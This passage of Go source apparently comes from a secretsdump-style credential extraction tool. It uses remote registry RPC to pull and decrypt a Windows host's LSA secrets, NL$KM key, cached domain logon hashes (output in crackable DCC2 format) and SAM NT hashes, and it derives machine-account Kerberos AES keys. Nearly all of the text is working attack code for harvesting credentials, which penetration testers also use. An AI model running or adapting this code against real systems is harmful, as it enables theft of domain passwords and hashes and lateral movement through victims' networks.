!VistaStyle { 883 | if modifyDacl { 884 | hSubKey, err = rpccon.OpenSubKey(base, `Security\Policy\PolSecretEncryptionKey`) 885 | } else { 886 | hSubKey, err = rpccon.OpenSubKeyExt(base, `Security\Policy\PolSecretEncryptionKey`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 887 | } 888 | if err != nil { 889 | if err == fmt.Errorf("ERROR_FILE_NOT_FOUND") { 890 | log.Infoln("Could not find LSA Secret key") 891 | } else { 892 | log.Errorln(err) 893 | } 894 | return 895 | } 896 | data, err = rpccon.QueryValue(hSubKey, "") 897 | if err != nil { 898 | log.Errorln(err) 899 | rpccon.CloseKeyHandle(hSubKey) 900 | return 901 | } 902 | rpccon.CloseKeyHandle(hSubKey) 903 | } 904 | if len(data) == 0 { 905 | err = fmt.Errorf("Failed to get LSA key") 906 | log.Errorln(err) 907 | return 908 | } 909 | 910 | result, err = decryptLSAKey(rpccon, base, data) 911 | if err != nil { 912 | log.Errorln(err) 913 | return 914 | } 915 | LSAKey = make([]byte, 32) 916 | copy(LSAKey, result) 917 | return 918 | } 919 | 920 | // Code inspired/partially stolen from Impacket's Secretsdump 921 | func GetLSASecrets(rpccon *msrrp.RPCCon, base []byte, history, modifyDacl bool) (secrets []printableLSASecret, err error) { 922 | secretsPath := `SECURITY\Policy\Secrets` 923 | var keys []string 924 | if modifyDacl { 925 | keys, err = rpccon.GetSubKeyNames(base, secretsPath) 926 | } else { 927 | keys, err = rpccon.GetSubKeyNamesExt(base, secretsPath, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 928 | } 929 | if err != nil { 930 | log.Errorln(err) 931 | return nil, err 932 | } 933 | 934 | if len(keys) == 0 { 935 | return 936 | } 937 | 938 | // GetLSASecretKey 939 | log.Debugln("Getting LSASecretKey") 940 | _, err = getLSASecretKey(rpccon, base, modifyDacl) 941 | if err != nil { 942 | log.Errorln(err) 943 | return 944 | } 945 | log.Debugf("LSA Secret key: %x\n", LSAKey) 946 | 947 | for _, key := range keys { 948 | if key == "NL$Control" { // Skip 949 | continue 950 | } 951 | log.Debugf("Looking into %s", key) 952 | /* The SECURITY\Policy\Secrets each contain a set of values where two 953 | of them are OldVal and CurrVal. OldVal seems to be the previously 954 | stored secret before it was updated. So it can be included if a history 955 | is desired. Otherwise CurrVal contains the current value of the secret.*/ 956 | valueTypeList := []string{"CurrVal"} 957 | if history { 958 | valueTypeList = append(valueTypeList, "OldVal") 959 | } 960 | var secret []byte 961 | for _, valueType := range valueTypeList { 962 | log.Debugf("Retrieving value: %s\\%s\\%s\n", secretsPath, key, valueType) 963 | var hSubKey []byte 964 | if modifyDacl { 965 | hSubKey, err = rpccon.OpenSubKey(base, fmt.Sprintf("%s\\%s\\%s", secretsPath, key, valueType)) 966 | } else { 967 | hSubKey, err = rpccon.OpenSubKeyExt(base, fmt.Sprintf("%s\\%s\\%s", secretsPath, key, valueType), msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 968 | } 969 | if err != nil { 970 | log.Errorln(err) 971 | return nil, err 972 | } 973 | 974 | value, err := rpccon.QueryValue(hSubKey, "") 975 | if err != nil { 976 | log.Errorln(err) 977 | rpccon.CloseKeyHandle(hSubKey) 978 | continue 979 | } 980 | rpccon.CloseKeyHandle(hSubKey) 981 | 982 | if (len(value) != 0) && (value[0] == 0x0) { 983 | if VistaStyle { 984 | record := &lsa_secret{} 985 | record.unmarshal(value) 986 | tmpKey := SHA256(LSAKey, record.EncryptedData[:32], 0) 987 | plainText, err := DecryptAES(tmpKey, record.EncryptedData[32:], nil) 988 | if err != nil { 989 | log.Errorln(err) 990 | continue 991 | } 992 | record2 := &lsa_secret_blob{} 993 | record2.unmarshal(plainText) 994 | secret = record2.Secret 995 | } else { 996 | log.Warningln("Windows XP secrets are not supported") 997 | continue 998 | //TODO 999 | } 1000 | if valueType == "OldVal" { 1001 | key += "_history" 1002 | } 1003 | ps, err := parseSecret(rpccon, base, key, secret) 1004 | if err != nil { 1005 | log.Errorln(err) 1006 | continue 1007 | } else if ps == nil { 1008 | continue 1009 | } 1010 | secrets = append(secrets, *ps) 1011 | } 1012 | } 1013 | } 1014 | return 1015 | } 1016 | 1017 | func getNLKMSecretKey(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (result []byte, err error) { 1018 | if len(NLKMKey) > 0 { 1019 | return 1020 | } 1021 | 1022 | log.Debugln("Decrypting NL$KM") 1023 | var hSubKey []byte 1024 | if modifyDacl { 1025 | hSubKey, err = rpccon.OpenSubKey(base, `SECURITY\Policy\Secrets\NL$KM\CurrVal`) 1026 | } else { 1027 | hSubKey, err = rpccon.OpenSubKeyExt(base, `SECURITY\Policy\Secrets\NL$KM\CurrVal`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 1028 | } 1029 | if err != nil { 1030 | log.Errorln(err) 1031 | return 1032 | } 1033 | data, err := rpccon.QueryValue(hSubKey, "") 1034 | if err != nil { 1035 | log.Errorln(err) 1036 | rpccon.CloseKeyHandle(hSubKey) 1037 | return 1038 | } 1039 | rpccon.CloseKeyHandle(hSubKey) 1040 | 1041 | if VistaStyle { 1042 | lsaSecret := &lsa_secret{} 1043 | lsaSecret.unmarshal(data) 1044 | tmpkey := SHA256(LSAKey, lsaSecret.EncryptedData[:32], 0) 1045 | var err2 error 1046 | result, err2 = DecryptAES(tmpkey, lsaSecret.EncryptedData[32:], nil) 1047 | if err2 != nil { 1048 | log.Errorln(err2) 1049 | err = err2 1050 | return 1051 | } 1052 | } else { 1053 | log.Errorln("Not yet implement how to decrypt NL$KM key when not VistaStyle") 1054 | return 1055 | } 1056 | 1057 | NLKMKey = make([]byte, 32) 1058 | copy(NLKMKey, result) 1059 | 1060 | return 1061 | } 1062 | 1063 | func GetCachedHashes(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (result []string, err error) { 1064 | baseKeyPath := `Security\Cache` 1065 | var names []string 1066 | var hSubKey []byte 1067 | if modifyDacl { 1068 | hSubKey, err = rpccon.OpenSubKey(base, baseKeyPath) 1069 | } else { 1070 | hSubKey, err = rpccon.OpenSubKeyExt(base, baseKeyPath, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 1071 | } 1072 | if err != nil { 1073 | log.Errorln(err) 1074 | return 1075 | } 1076 | defer rpccon.CloseKeyHandle(hSubKey) 1077 | 1078 | valueNames, err := rpccon.GetValueNames(hSubKey) 1079 | if err != nil { 1080 | log.Errorln(err) 1081 | return 1082 | } 1083 | 1084 | if len(valueNames) == 0 { 1085 | // No cache entries 1086 | return 1087 | } 1088 | foundIterCount := false 1089 | for _, name := range valueNames { 1090 | if name == "NL$Control" { 1091 | continue 1092 | } 1093 | if name == "NL$IterationCount" { 1094 | foundIterCount = true 1095 | continue 1096 | } 1097 | names = append(names, name) 1098 | } 1099 | iterationCount := 10240 1100 | if foundIterCount { 1101 | var tmpIterCount uint32 1102 | data, err := rpccon.QueryValue(hSubKey, `NL$IterationCount`) 1103 | if err != nil { 1104 | log.Errorln(err) 1105 | return nil, err 1106 | } 1107 | tmpIterCount = binary.LittleEndian.Uint32(data) 1108 | if tmpIterCount > 10240 { 1109 | iterationCount = int(tmpIterCount & 0xfffffc00) 1110 | } else { 1111 | iterationCount = int(tmpIterCount * 1024) 1112 | } 1113 | } 1114 | 1115 | _, err = getLSASecretKey(rpccon, base, modifyDacl) 1116 | if err != nil { 1117 | log.Errorln(err) 1118 | return 1119 | } 1120 | _, err = getNLKMSecretKey(rpccon, base, modifyDacl) 1121 | if err != nil { 1122 | log.Errorln(err) 1123 | return 1124 | } 1125 | for _, name := range names { 1126 | log.Debugf("Looking into %s\n", name) 1127 | data, err := rpccon.QueryValue(hSubKey, name) 1128 | if err != nil { 1129 | log.Errorln(err) 1130 | return nil, err 1131 | } 1132 | 1133 | // NL_RECORD 1134 | nl_record := &nl_record{} 1135 | err = nl_record.unmarshal(data) 1136 | if err != nil { 1137 | log.Errorln(err) 1138 | continue 1139 | } 1140 | nilIV := make([]byte, 16) 1141 | var plaintext []byte 1142 | var answer string 1143 | if bytes.Compare(nl_record.IV[:], nilIV) != 0 { 1144 | if (nl_record.Flags & 1) == 1 { 1145 | // Encrypted 1146 | if VistaStyle { 1147 | plaintext, err = DecryptAES(NLKMKey[16:32], nl_record.EncryptedData, nl_record.IV[:]) 1148 | if err != nil { 1149 | log.Errorln(err) 1150 | continue 1151 | } 1152 | } else { 1153 | log.Errorln("Not yet implement how to decrypt DCC2Cache when not VistaStyle") 1154 | continue 1155 | } 1156 | } else { 1157 | log.Noticef("Not sure how to handle non-encrypted record: %s\n", name) 1158 | continue 1159 | } 1160 | encHash := plaintext[:0x10] 1161 | plaintext = plaintext[0x48:] 1162 | userName, err := encoder.FromUnicodeString(plaintext[:nl_record.UserLength]) 1163 | if err != nil { 1164 | log.Errorln(err) 1165 | continue 1166 | } 1167 | plaintext = plaintext[int(pad64(uint64(nl_record.UserLength)))+int(pad64(uint64(nl_record.DomainNameLength))):] 1168 | domainLong, err := encoder.FromUnicodeString(plaintext[:int(pad64(uint64(nl_record.DnsDomainNameLength)))]) 1169 | if err != nil { 1170 | log.Errorln(err) 1171 | continue 1172 | } 1173 | 1174 | if VistaStyle { 1175 | answer = fmt.Sprintf("%s/%s:$DCC2$%d#%s#%x", domainLong, userName, iterationCount, userName, encHash) 1176 | } else { 1177 | answer = fmt.Sprintf("%s/%s:%x:%s", domainLong, userName, encHash, userName) 1178 | } 1179 | result = append(result, answer) 1180 | } else { 1181 | //golog.Debugf("Unhandled case with NIL IV and likely empty cache record for DCC2Cache %s\n", name) 1182 | continue 1183 | } 1184 | } 1185 | return 1186 | } 1187 | 1188 | func GetOSVersionBuild(rpccon *msrrp.RPCCon, base []byte) (build int, version float64, server bool, err error) { 1189 | hSubKey, err := rpccon.OpenSubKey(base, `SOFTWARE\Microsoft\Windows NT\CurrentVersion`) 1190 | if err != nil { 1191 | log.Noticef("Failed to open registry key CurrentVersion with error: %v\n", err) 1192 | return 1193 | } 1194 | defer func(h []byte) { 1195 | rpccon.CloseKeyHandle(h) 1196 | }(hSubKey) 1197 | 1198 | value, err := rpccon.QueryValueString(hSubKey, "CurrentBuild") 1199 | if err != nil { 1200 | log.Errorln(err) 1201 | return 1202 | } 1203 | buildStr := string(value) 1204 | build, err = strconv.Atoi(buildStr) 1205 | if err != nil { 1206 | log.Errorln(err) 1207 | return 1208 | } 1209 | 1210 | value, err = rpccon.QueryValueString(hSubKey, "CurrentVersion") 1211 | if err != nil { 1212 | log.Errorln(err) 1213 | return 1214 | } 1215 | versionStr := string(value) 1216 | version, err = strconv.ParseFloat(versionStr, 32) 1217 | if err != nil { 1218 | log.Errorf("Failed to get CurrentVersion with error: %v\n", err) 1219 | return 1220 | } 1221 | 1222 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\ProductOptions`) 1223 | if err != nil { 1224 | log.Noticef("Failed to open registry key ProductOptions with error: %v\n", err) 1225 | return 1226 | } 1227 | defer func(h []byte) { 1228 | rpccon.CloseKeyHandle(h) 1229 | }(hSubKey) 1230 | 1231 | value, err = rpccon.QueryValueString(hSubKey, "ProductType") 1232 | if err != nil { 1233 | log.Errorln(err) 1234 | return 1235 | } 1236 | 1237 | if strings.Compare(value, "ServerNT") == 0 { 1238 | server = true 1239 | } 1240 | 1241 | return 1242 | } 1243 | 1244 | func getHostnameAndDomain(rpccon *msrrp.RPCCon, base []byte) (hostname, domain string, err error) { 1245 | hSubKey, err := rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Services\Tcpip\Parameters`) 1246 | if err != nil { 1247 | log.Noticef("Failed to open registry key Parameters with error: %v\n", err) 1248 | return 1249 | } 1250 | defer func(h []byte) { 1251 | rpccon.CloseKeyHandle(h) 1252 | }(hSubKey) 1253 | 1254 | domain, err = rpccon.QueryValueString(hSubKey, "Domain") 1255 | if err != nil { 1256 | log.Errorln(err) 1257 | return 1258 | } 1259 | 1260 | hostname, err = rpccon.QueryValueString(hSubKey, "Hostname") 1261 | if err != nil { 1262 | log.Errorln(err) 1263 | return 1264 | } 1265 | return 1266 | } 1267 | -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | // MIT License 2 | // 3 | // # Copyright (c) 2023 Jimmy Fjällid 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in all 13 | // copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | // SOFTWARE. 22 | package main 23 | 24 | import ( 25 | "crypto/aes" 26 | "crypto/cipher" 27 | "crypto/des" 28 | "crypto/md5" 29 | "crypto/rc4" 30 | "crypto/sha1" 31 | "crypto/sha256" 32 | "encoding/binary" 33 | "fmt" 34 | "golang.org/x/crypto/pbkdf2" 35 | "math/bits" 36 | "strconv" 37 | "strings" 38 | "unicode/utf16" 39 | ) 40 | 41 | const ( 42 | WIN_UNKNOWN = iota 43 | WINXP 44 | WIN_SERVER_2003 45 | WIN_VISTA 46 | WIN_SERVER_2008 47 | WIN7 48 | WIN_SERVER_2008_R2 49 | WIN8 50 | WIN_SERVER_2012 51 | WIN81 52 | WIN_SERVER_2012_R2 53 | WIN10 54 | WIN_SERVER_2016 55 | WIN_SERVER_2019 56 | WIN_SERVER_2022 57 | WIN11 58 | ) 59 | 60 | var aes256_constant = []byte{0x6B, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6F, 0x73, 0x7B, 0x9B, 0x5B, 0x2B, 0x93, 0x13, 0x2B, 0x93, 0x5C, 0x9B, 0xDC, 0xDA, 0xD9, 0x5C, 0x98, 0x99, 0xC4, 0xCA, 0xE4, 0xDE, 0xE6, 0xD6, 0xCA, 0xE4} 61 | 62 | var osNameMap = map[byte]string{ 63 | WIN_UNKNOWN: "Windows Unknown", 64 | WINXP: "Windows XP", 65 | WIN_VISTA: "Windows Vista", 66 | WIN7: "Windows 7", 67 | WIN8: "Windows 8", 68 | WIN81: "Windows 8.1", 69 | WIN10: "Windows 10", 70 | WIN11: "Windows 11", 71 | WIN_SERVER_2003: "Windows Server 2003", 72 | WIN_SERVER_2008: "Windows Server 2008", 73 | WIN_SERVER_2008_R2: "Windows Server 2008 R2", 74 | WIN_SERVER_2012: "Windows Server 2012", 75 | WIN_SERVER_2012_R2: "Windows Server 2012 R2", 76 | WIN_SERVER_2016: "Windows Server 2016", 77 | WIN_SERVER_2019: "Windows Server 2019", 78 | WIN_SERVER_2022: "Windows Server 2022", 79 | } 80 | 81 | func GetOSVersion(currentBuild int, currentVersion float64, server bool) (os byte) { 82 | 83 | currentVersionStr := strconv.FormatFloat(currentVersion, 'f', 1, 64) 84 | if server { 85 | switch { 86 | case currentBuild >= 3790 && currentBuild < 6001: 87 | os = WIN_SERVER_2003 88 | case currentBuild >= 6001 && currentBuild < 7601: 89 | os = WIN_SERVER_2008 90 | case currentBuild >= 7601 && currentBuild < 9200: 91 | os = WIN_SERVER_2008_R2 92 | case currentBuild >= 9200 && currentBuild < 9600: 93 | os = WIN_SERVER_2012 94 | case currentBuild >= 9200 && currentBuild < 14393: 95 | os = WIN_SERVER_2012_R2 96 | case currentBuild >= 14393 && currentBuild < 17763: 97 | os = WIN_SERVER_2016 98 | case currentBuild >= 17763 && currentBuild < 20348: 99 | os = WIN_SERVER_2019 100 | case currentBuild >= 20348: 101 | os = WIN_SERVER_2022 102 | default: 103 | log.Debugf("Unknown server version of Windows with CurrentBuild %d and CurrentVersion %f\n", currentBuild, currentVersion) 104 | os = WIN_UNKNOWN 105 | } 106 | } else { 107 | switch currentVersionStr { 108 | case "5.1": 109 | os = WINXP 110 | case "6.0": 111 | // Windows Vista but it shares CurrentVersion and CurrentBuild with Windows Server 2008 112 | os = WIN_VISTA 113 | case "6.1": 114 | // Windows 7 but it shares CurrentVersion and CurrentBuild with Windows Server 2008 R2 115 | os = WIN7 116 | case "6.2": 117 | // Windows 8 but it shares CurrentVersion and CurrentBuild with Windows Server 2012 118 | os = WIN8 119 | case "6.3": 120 | // Windows 8.1 but it shares CurrentVersion and CurrentBuild with Windows Server 2012 R2 121 | os = WIN81 122 | case "10.0": 123 | if currentBuild < 22000 { 124 | os = WIN10 125 | } else { 126 | os = WIN11 127 | } 128 | default: 129 | log.Debugf("Unknown version of Windows with CurrentBuild %d and CurrentVersion %f\n", currentBuild, currentVersion) 130 | os = WIN_UNKNOWN 131 | } 132 | } 133 | 134 | log.Debugf("OS Version: %s\n", osNameMap[os]) 135 | return 136 | } 137 | 138 | func IsWin10After1607(build int, version float64) (value bool, err error) { 139 | if build >= 14393 { 140 | value = true 141 | } else { 142 | value = false 143 | } 144 | return 145 | } 146 | 147 | func IsBetweenWinXPWin10(build int, version float64, isServer bool) (value bool, err error) { 148 | os := GetOSVersion(build, version, isServer) 149 | if (WINXP <= os) && (os <= WIN10) { 150 | value = true 151 | } else { 152 | value = false 153 | } 154 | return 155 | } 156 | 157 | func SHA256(key, value []byte, rounds int) []byte { 158 | if rounds == 0 { 159 | rounds = 1000 160 | } 161 | h := sha256.New() 162 | h.Write(key) 163 | for i := 0; i < 1000; i++ { 164 | h.Write(value) 165 | } 166 | return h.Sum(nil) 167 | } 168 | 169 | func DecryptAES(key, ciphertext, iv []byte) (plaintext []byte, err error) { 170 | nullIV := true 171 | var mode cipher.BlockMode 172 | block, err := aes.NewCipher(key) 173 | if err != nil { 174 | log.Errorln(err) 175 | return 176 | } 177 | if iv != nil { 178 | mode = cipher.NewCBCDecrypter(block, iv) 179 | nullIV = false 180 | } else { 181 | iv = make([]byte, 16) 182 | } 183 | ciphertextLen := len(ciphertext) 184 | var cipherBuffer []byte 185 | for i := 0; i < ciphertextLen; i += 16 { 186 | if nullIV { 187 | mode = cipher.NewCBCDecrypter(block, iv) 188 | } 189 | // Need to calculate 16 bytes block every time and padd with 0 if not enough bytes left 190 | dataLeft := len(ciphertext[i:]) 191 | if dataLeft < 16 { 192 | padding := 16 - dataLeft 193 | cipherBuffer = ciphertext[i : i+dataLeft] 194 | paddBuffer := make([]byte, padding) 195 | cipherBuffer = append(cipherBuffer, paddBuffer...) 196 | } else { 197 | cipherBuffer = ciphertext[i : i+16] 198 | } 199 | // Decryption in-place 200 | mode.CryptBlocks(cipherBuffer, cipherBuffer) 201 | plaintext = append(plaintext, cipherBuffer...) 202 | } 203 | return 204 | } 205 | 206 | // Wellknown function to convert 56bit to 64bit des key 207 | // final step is to check parity and add the parity bit as the right most bit 208 | // Not sure what the first part of this function does. 209 | func plusOddParity(input []byte) []byte { 210 | output := make([]byte, 8) 211 | output[0] = input[0] >> 0x01 212 | output[1] = ((input[0] & 0x01) << 6) | (input[1] >> 2) 213 | output[2] = ((input[1] & 0x03) << 5) | (input[2] >> 3) 214 | output[3] = ((input[2] & 0x07) << 4) | (input[3] >> 4) 215 | output[4] = ((input[3] & 0x0f) << 3) | (input[4] >> 5) 216 | output[5] = ((input[4] & 0x1f) << 2) | (input[5] >> 6) 217 | output[6] = ((input[5] & 0x3f) << 1) | (input[6] >> 7) 218 | output[7] = input[6] & 0x7f 219 | for i := 0; i < 8; i++ { 220 | if (bits.OnesCount(uint(output[i])) % 2) == 0 { 221 | output[i] = (output[i] << 1) | 0x1 222 | } else { 223 | output[i] = (output[i] << 1) & 0xfe 224 | } 225 | } 226 | return output 227 | } 228 | 229 | func decryptNTHash(encHash, ridBytes []byte) (hash []byte, err error) { 230 | nt1 := make([]byte, 8) 231 | nt2 := make([]byte, 8) 232 | desSrc1 := make([]byte, 7) 233 | desSrc2 := make([]byte, 7) 234 | shift1 := []int{0, 1, 2, 3, 0, 1, 2} 235 | shift2 := []int{3, 0, 1, 2, 3, 0, 1} 236 | for i := 0; i < 7; i++ { 237 | desSrc1[i] = ridBytes[shift1[i]] 238 | desSrc2[i] = ridBytes[shift2[i]] 239 | } 240 | deskey1 := plusOddParity(desSrc1) 241 | deskey2 := plusOddParity(desSrc2) 242 | dc1, err := des.NewCipher(deskey1) 243 | if err != nil { 244 | log.Errorf("Failed to initialize first DES cipher with error: %v\n", err) 245 | return 246 | } 247 | dc2, err := des.NewCipher(deskey2) 248 | if err != nil { 249 | log.Errorf("Failed to initialize second DES cipher with error: %v\n", err) 250 | return 251 | } 252 | dc1.Decrypt(nt1, encHash[:8]) 253 | dc2.Decrypt(nt2, encHash[8:]) 254 | hash = append(hash, nt1...) 255 | hash = append(hash, nt2...) 256 | return 257 | } 258 | 259 | func DecryptRC4Hash(doubleEncHash, syskey []byte, rid uint32) (ntHash []byte, err error) { 260 | ridBytes := make([]byte, 4) 261 | encHash := make([]byte, 16) 262 | binary.LittleEndian.PutUint32(ridBytes, rid) 263 | input2 := []byte{} 264 | input2 = append(input2, syskey...) 265 | input2 = append(input2, ridBytes...) 266 | input2 = append(input2, s3...) 267 | rc4key := md5.Sum(input2) 268 | //log.Debugf("NT Hash RC4 encryption key: md5(%x %x %x)\n", syskey, ridBytes, s3) 269 | //log.Debugf("NT Hash RC4 encryption key: %x\n", rc4key) 270 | 271 | // Decrypt the encrypted NT Hash 272 | c2, err := rc4.NewCipher(rc4key[:]) 273 | if err != nil { 274 | log.Errorln("Failed to init RC4 key") 275 | return 276 | } 277 | c2.XORKeyStream(encHash, doubleEncHash) 278 | ntHash, err = decryptNTHash(encHash, ridBytes) 279 | return 280 | } 281 | 282 | func DecryptAESHash(doubleEncHash, encHashIV, syskey []byte, rid uint32) (ntHash []byte, err error) { 283 | ridBytes := make([]byte, 4) 284 | encHash := make([]byte, 16) 285 | binary.LittleEndian.PutUint32(ridBytes, rid) 286 | a1, err := aes.NewCipher(syskey) 287 | if err != nil { 288 | log.Errorln("Failed to init AES key") 289 | return 290 | } 291 | c1 := cipher.NewCBCDecrypter(a1, encHashIV) 292 | c1.CryptBlocks(encHash, doubleEncHash) 293 | ntHash, err = decryptNTHash(encHash, ridBytes) 294 | return 295 | } 296 | 297 | func calcAES256Key(key []byte) (result []byte, err error) { 298 | key1 := make([]byte, 32) 299 | key2 := make([]byte, 32) 300 | block, err := aes.NewCipher(key) 301 | if err != nil { 302 | log.Errorf("Failed to create new AES cipher with error: %s\n", err) 303 | return 304 | } 305 | iv := make([]byte, 16) 306 | mode := cipher.NewCBCEncrypter(block, iv) 307 | mode.CryptBlocks(key1, aes256_constant) 308 | 309 | block, err = aes.NewCipher(key) 310 | if err != nil { 311 | log.Errorf("Failed to create the second new AES cipher with error: %s\n", err) 312 | return 313 | } 314 | mode = cipher.NewCBCEncrypter(block, iv) 315 | mode.CryptBlocks(key2, key1) 316 | result = append(key1[:16], key2[:16]...) 317 | return 318 | } 319 | 320 | func calcAES128Key(key []byte) (result []byte, err error) { 321 | result = make([]byte, 16) 322 | block, err := aes.NewCipher(key) 323 | if err != nil { 324 | log.Errorf("Failed to create new AES cipher with error: %s\n", err) 325 | return 326 | } 327 | iv := make([]byte, 16) 328 | mode := cipher.NewCBCEncrypter(block, iv) 329 | mode.CryptBlocks(result, aes256_constant[:16]) 330 | return 331 | } 332 | 333 | func unicodeHexToUtf8(utf16Bytes []byte) (result string, err error) { 334 | if len(utf16Bytes)%2 > 0 { 335 | err = fmt.Errorf("Unicode (UTF 16 LE) specified, but uneven data length") 336 | log.Errorln(err) 337 | return 338 | } 339 | 340 | utf16Data := make([]uint16, len(utf16Bytes)/2) 341 | for i := 0; i < len(utf16Bytes); i += 2 { 342 | utf16Data[i/2] = uint16(utf16Bytes[i]) | uint16(utf16Bytes[i+1])<<8 343 | } 344 | 345 | utf8Str := string(utf16.Decode(utf16Data)) 346 | 347 | return utf8Str, nil 348 | } 349 | 350 | func CalcMachineAESKeys(hostname, domain string, hexPass []byte) (aes128Key, aes256Key []byte, err error) { 351 | const ITERATIONS int = 4096 // Default for Active Directory 352 | 353 | domain = strings.ToUpper(domain) 354 | salt := fmt.Sprintf("%shost%s.%s", domain, strings.ToLower(hostname), strings.ToLower(domain)) 355 | 356 | val, err := unicodeHexToUtf8(hexPass) 357 | if err != nil { 358 | log.Errorf("Failed to decode the MachineAccount's Unicode password: %s\n", err) 359 | return 360 | } 361 | passBytes := []byte(val) 362 | 363 | dk256 := pbkdf2.Key(passBytes, []byte(salt), ITERATIONS, 32, sha1.New) 364 | dk128 := dk256[:16] 365 | aes256Key, err = calcAES256Key(dk256) 366 | if err != nil { 367 | log.Errorln(err) 368 | return 369 | } 370 | aes128Key, err = calcAES128Key(dk128) 371 | if err != nil { 372 | log.Errorln(err) 373 | return 374 | } 375 | return 376 | } 377 | --------------------------------------------------------------------------------